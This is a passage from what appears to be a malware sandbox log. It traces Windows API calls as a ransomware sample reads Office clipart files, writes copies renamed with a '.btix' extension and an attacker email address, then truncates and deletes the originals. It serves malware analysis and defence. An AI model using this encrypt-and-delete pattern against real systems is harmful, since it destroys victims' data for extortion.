lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.726] lstrlenW (lpString=".1cd") returned 4 [0135.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0135.726] lstrlenW (lpString=".jpg") returned 4 [0135.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.726] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.726] lstrlenW (lpString="J0090089.WMF") returned 12 [0135.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.726] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=15760) returned 1 [0135.726] CloseHandle (hObject=0x530) returned 1 [0135.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0135.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.727] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.727] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0135.727] GetLastError () returned 0x0 [0135.727] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x3d90, lpOverlapped=0x0) returned 1 [0135.741] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3da0, lpOverlapped=0x0) returned 1 [0135.742] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0135.742] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0135.742] SetEndOfFile (hFile=0x534) returned 1 [0135.742] CloseHandle (hObject=0x534) returned 1 [0135.742] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.742] SetEndOfFile (hFile=0x530) returned 1 [0135.744] CloseHandle (hObject=0x530) returned 1 [0135.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0135.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.745] lstrlenW (lpString=".doc") returned 4 [0135.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.745] lstrlenW (lpString=".docx") returned 5 [0135.745] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0135.745] lstrlenW (lpString=".pdf") returned 4 [0135.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.745] lstrlenW (lpString=".xls") returned 4 [0135.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.745] lstrlenW (lpString=".xlsx") returned 5 [0135.745] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0135.745] lstrlenW (lpString=".ppt") returned 4 [0135.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString=".zip") returned 4 [0135.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.746] lstrlenW (lpString=".rar") returned 4 [0135.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString=".bz2") returned 4 [0135.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString=".7z") returned 3 [0135.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString=".dbf") returned 4 [0135.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString=".1cd") returned 4 [0135.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString=".jpg") returned 4 [0135.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString=".doc") returned 4 [0135.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString=".docx") returned 5 [0135.746] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0135.746] lstrlenW (lpString=".pdf") returned 4 [0135.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString=".xls") returned 4 [0135.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.746] lstrlenW (lpString=".xlsx") returned 5 [0135.746] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0135.746] lstrlenW (lpString=".ppt") returned 4 [0135.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.746] lstrlenW (lpString=".zip") returned 4 [0135.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.747] lstrlenW (lpString=".rar") returned 4 [0135.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.747] lstrlenW (lpString=".bz2") returned 4 [0135.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.747] lstrlenW (lpString=".7z") returned 3 [0135.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.747] lstrlenW (lpString=".dbf") returned 4 [0135.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.747] lstrlenW (lpString=".1cd") returned 4 [0135.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0135.747] lstrlenW (lpString=".jpg") returned 4 [0135.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.747] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.747] lstrlenW (lpString="J0090390.WMF") returned 12 [0135.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.748] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=17638) returned 1 [0135.748] CloseHandle (hObject=0x530) returned 1 [0135.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0135.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.748] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.748] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0135.749] GetLastError () returned 0x0 [0135.749] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x44e6, lpOverlapped=0x0) returned 1 [0135.758] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x44f0, lpOverlapped=0x0) returned 1 [0135.759] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0135.759] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0135.759] SetEndOfFile (hFile=0x534) returned 1 [0135.759] CloseHandle (hObject=0x534) returned 1 [0135.761] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.761] SetEndOfFile (hFile=0x530) returned 1 [0135.763] CloseHandle (hObject=0x530) returned 1 [0135.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0135.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.764] lstrlenW (lpString=".doc") returned 4 [0135.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.764] lstrlenW (lpString=".docx") returned 5 [0135.764] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0135.764] lstrlenW (lpString=".pdf") returned 4 [0135.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.764] lstrlenW (lpString=".xls") returned 4 [0135.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.764] lstrlenW (lpString=".xlsx") returned 5 [0135.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0135.764] lstrlenW (lpString=".ppt") returned 4 [0135.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.764] lstrlenW (lpString=".zip") returned 4 [0135.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.764] lstrlenW (lpString=".rar") returned 4 [0135.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.764] lstrlenW (lpString=".bz2") returned 4 [0135.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.764] lstrlenW (lpString=".7z") returned 3 [0135.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.764] lstrlenW (lpString=".dbf") returned 4 [0135.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.764] lstrlenW (lpString=".1cd") returned 4 [0135.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString=".jpg") returned 4 [0135.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString=".doc") returned 4 [0135.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString=".docx") returned 5 [0135.765] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0135.765] lstrlenW (lpString=".pdf") returned 4 [0135.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString=".xls") returned 4 [0135.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.765] lstrlenW (lpString=".xlsx") returned 5 [0135.765] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0135.765] lstrlenW (lpString=".ppt") returned 4 [0135.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString=".zip") returned 4 [0135.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.765] lstrlenW (lpString=".rar") returned 4 [0135.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString=".bz2") returned 4 [0135.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString=".7z") returned 3 [0135.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString=".dbf") returned 4 [0135.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString=".1cd") returned 4 [0135.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0135.765] lstrlenW (lpString=".jpg") returned 4 [0135.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.766] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.766] lstrlenW (lpString="J0090779.WMF") returned 12 [0135.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.766] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1456) returned 1 [0135.766] CloseHandle (hObject=0x530) returned 1 [0135.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0135.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.767] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.767] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0135.767] GetLastError () returned 0x0 [0135.767] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x5b0, lpOverlapped=0x0) returned 1 [0135.776] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0135.777] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0135.777] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0135.777] SetEndOfFile (hFile=0x534) returned 1 [0136.006] CloseHandle (hObject=0x534) returned 1 [0136.016] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.016] SetEndOfFile (hFile=0x530) returned 1 [0136.192] CloseHandle (hObject=0x530) returned 1 [0136.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0136.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.192] lstrlenW (lpString=".doc") returned 4 [0136.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.192] lstrlenW (lpString=".docx") returned 5 [0136.192] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0136.193] lstrlenW (lpString=".pdf") returned 4 [0136.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString=".xls") returned 4 [0136.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.193] lstrlenW (lpString=".xlsx") returned 5 [0136.193] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0136.193] lstrlenW (lpString=".ppt") returned 4 [0136.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.193] lstrlenW (lpString=".zip") returned 4 [0136.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.193] lstrlenW (lpString=".rar") returned 4 [0136.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString=".bz2") returned 4 [0136.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString=".7z") returned 3 [0136.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.193] lstrlenW (lpString=".dbf") returned 4 [0136.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.193] lstrlenW (lpString=".1cd") returned 4 [0136.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.193] lstrlenW (lpString=".jpg") returned 4 [0136.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.193] lstrlenW (lpString=".doc") returned 4 [0136.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString=".docx") returned 5 [0136.193] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0136.193] lstrlenW (lpString=".pdf") returned 4 [0136.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.193] lstrlenW (lpString=".xls") returned 4 [0136.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.193] lstrlenW (lpString=".xlsx") returned 5 [0136.193] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0136.194] lstrlenW (lpString=".ppt") returned 4 [0136.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.194] lstrlenW (lpString=".zip") returned 4 [0136.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.194] lstrlenW (lpString=".rar") returned 4 [0136.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.194] lstrlenW (lpString=".bz2") returned 4 [0136.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.194] lstrlenW (lpString=".7z") returned 3 [0136.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.194] lstrlenW (lpString=".dbf") returned 4 [0136.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.194] lstrlenW (lpString=".1cd") returned 4 [0136.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0136.194] lstrlenW (lpString=".jpg") returned 4 [0136.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.194] lstrcmpiW 